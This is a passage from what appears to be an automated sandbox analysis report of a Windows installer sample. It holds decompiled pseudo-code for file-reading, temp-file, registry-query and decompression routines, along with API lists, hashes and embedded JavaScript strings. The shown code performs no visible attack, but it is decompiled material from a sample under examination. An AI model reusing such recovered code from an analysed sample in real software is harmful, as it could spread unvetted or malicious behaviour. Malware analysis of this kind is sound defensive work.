									_t36 = _v8;
									 *0x42a6d4 =  *0x42a6d4 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										if(E00405F61( *0x40a01c, 0x4266d0, _t28) == 0) {
											goto L18;
										}
										_t30 = E00405F90(_a8, 0x4266d0, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x42a6d4 =  *0x42a6d4 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x004031da
0x004031e3
0x004031ec
0x004031f0
0x004031fb
0x004031fb
0x00403203
0x0040320a
0x0040321c
0x00403223
0x004032c8
0x004032c8
0x00000000
0x00403229
0x0040322c
0x00403238
0x0040323c
0x004032d6
0x004032d6
0x00403242
0x00403245
0x004032a4
0x004032aa
0x004032ac
0x004032ac
0x004032be
0x004032c6
0x004032cd
0x004032d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00403247
0x0040324a
0x00000000
0x00403250
0x00403255
0x0040325c
0x0040325f
0x00403261
0x00403261
0x0040326e
0x00403278
0x00000000
0x00000000
0x00403281
0x00403288
0x004032a0
0x004032ca
0x004032ca
0x0040328a
0x0040328a
0x0040328d
0x00403290
0x00403296
0x0040329c
0x00000000
0x0040329e
0x00000000
0x0040329e
0x0040329c
0x00000000
0x00403288
0x00000000
0x00403255
0x0040324a
0x00403245
0x0040323c
0x00403223
0x004032d8
0x004032db

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Strings

dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;, xrefs: 00403250, 00403267, 0040327D

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: FilePointer
String ID: dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;
API String ID: 973152223-1210263621
Opcode ID: aa57c99512f3ed14381c346065f5c0a4cc49975fb94f98cb3c0debf99d4161c5
Instruction ID: 354a74280fc320ddcd1a03d564711161fa861bb1e5dc1acee3c93741f06a9d18
Opcode Fuzzy Hash: aa57c99512f3ed14381c346065f5c0a4cc49975fb94f98cb3c0debf99d4161c5
Instruction Fuzzy Hash: AB316B30200219BBDB109F95ED44A9A3E68EB04759F20417EF904E61D0D7389E51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E004062B6(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x4000;
				_t21 = E00406255(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8); // executed
					_t21 = RegCloseKey(_a20);
					_t30[0x3ffe] = _t30[0x3ffe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x004062c4
0x004062c6
0x004062de
0x004062e3
0x004062e8
0x00406326
0x00406326
0x004062ea
0x004062fc
0x00406307
0x0040630d
0x00406318
0x00000000
0x00000000
0x00406318
0x0040632c

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00004000,00000002,0043E708,00000000,?,?,ExecToStack,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,ExecToStack,ExecToStack,ExecToStack,00000000,0043E708), ref: 00406307

Strings

ExecToStack, xrefs: 004062BD

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CloseQueryValue
String ID: ExecToStack
API String ID: 3356406503-166031814
Opcode ID: 7e8f2b507172300fff4d18ea8023ba838134d56d13ff8a7450bb17b0ad457722
Instruction ID: 71396637bdf4209a45bd355f469bd078e3083f4a568c77181c36ba1a701e5b4c
Opcode Fuzzy Hash: 7e8f2b507172300fff4d18ea8023ba838134d56d13ff8a7450bb17b0ad457722
Instruction Fuzzy Hash: 2701BC7250020AEBDF218F55CD0AEDB3FA8EF54364F01403AFD16A2190E378DA24CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405F0D(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a58c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00405f13
0x00405f19
0x00405f1a
0x00405f1a
0x00405f1f
0x00405f20
0x00405f23
0x00405f28
0x00405f2b
0x00405f35
0x00405f42
0x00405f46
0x00405f4e
0x00000000
0x00000000
0x00405f52
0x00000000
0x00405f54
0x00405f54
0x00405f54
0x00405f57
0x00405f5a
0x00405f5a
0x00405f5d
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,004C1000,004034A3,004D1000,004D5000,004D5000,004D5000,004D5000,004D5000,746AFAA0,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Uniqueness

Uniqueness Score: -1.00%

Function 00405F61 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405F61(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405f65
0x00405f75
0x00405f7d
0x00000000
0x00405f84
0x00000000
0x00405f86

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;,rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1,0040345A,0040A230,0040A230,0040335E,dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;,00004000,?,00000000,00403208), ref: 00405F75

Strings

dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;, xrefs: 00405F64
rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1, xrefs: 00405F61

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: FileRead
String ID: dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;$rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1
API String ID: 2738559852-11301910
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406F27() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00407395))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
